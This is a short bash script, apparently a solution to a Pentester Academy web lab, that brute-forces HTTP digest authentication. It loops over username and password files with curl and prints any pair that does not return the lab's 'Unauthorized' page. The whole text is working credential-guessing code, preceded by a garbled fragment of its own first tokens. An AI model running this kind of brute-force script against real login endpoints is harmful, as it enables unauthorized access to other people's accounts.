bin bash while read user do while read pass do test curl -v --digest -

#!/bin/bash
while read user
do 
    while read pass
    do 
        test="`curl -v --digest -u $user:$pass "http://pentesteracademylab.appspot.com/lab/webapp/digest/1" 2>&1 | grep 'Unauthorized! Unauthorized! Unauthorized :) :)'`"
        if [ -z "$test" ]
        then 
            echo "$user :: $pass"
            break
        fi
    done < pass
done < user